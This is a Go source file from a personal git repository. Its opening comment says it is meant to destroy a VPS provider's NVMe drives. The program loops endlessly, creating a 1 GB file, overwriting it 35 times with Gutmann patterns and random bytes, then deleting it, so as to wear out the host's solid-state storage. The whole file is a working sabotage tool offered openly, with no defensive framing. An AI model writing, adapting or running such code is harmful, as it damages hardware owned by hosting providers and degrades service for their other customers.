random

- collection of un-sorted bollocks
git clone git://git.acid.vegas/random.git
diskfuck.go (1401B)
      1 // DESTROY YOUR LOCAL VPS PROVIDERS NVMe's
      2 package main
      3 
      4 import (
      5 	"log"
      6 	"os"
      7 	"math/rand"
      8 )
      9 
     10 const (
     11 	fileName = "fuckfile.dat"
     12 	fileSize = 1 << 30 // 1 GB
     13 )
     14 
     15 var gutmannPatterns = []byte{
     16 	0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF,
     17 	0x92, 0x49, 0x24, 0x55, 0xAA, 0x00, 0xFF, 0x44, 0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
     18 	0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x92, 0x49, 0x24, 0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF,
     19 }
     20 
     21 func createFile() *os.File {
     22 	f, err := os.Create(fileName)
     23 	if err != nil {
     24 		log.Fatalf("Error creating file: %v", err)
     25 	}
     26 	return f
     27 }
     28 
     29 func writeFile(f *os.File, data []byte) {
     30 	_, err := f.Write(data)
     31 	if err != nil {
     32 		log.Fatalf("Error writing to file: %v", err)
     33 	}
     34 }
     35 
     36 func main() {
     37 	for {
     38 		f := createFile()
     39 
     40 		for i := 0; i < 35; i++ {
     41 			if i < len(gutmannPatterns) {
     42 				data := make([]byte, fileSize, fileSize)
     43 				for j := range data {
     44 					data[j] = gutmannPatterns[i]
     45 				}
     46 				writeFile(f, data)
     47 			} else {
     48 				data := make([]byte, fileSize, fileSize)
     49 				for j := range data {
     50 					data[j] = byte(rand.Intn(256))
     51 				}
     52 				writeFile(f, data)
     53 			}
     54 			f.Seek(0, 0) // Reset file pointer to start
     55 		}
     56 
     57 		f.Close()
     58 
     59 		err := os.Remove(fileName)
     60 		if err != nil {
     61 			log.Fatalf("Error deleting file: %v", err)
     62 		}
     63 	}
     64 }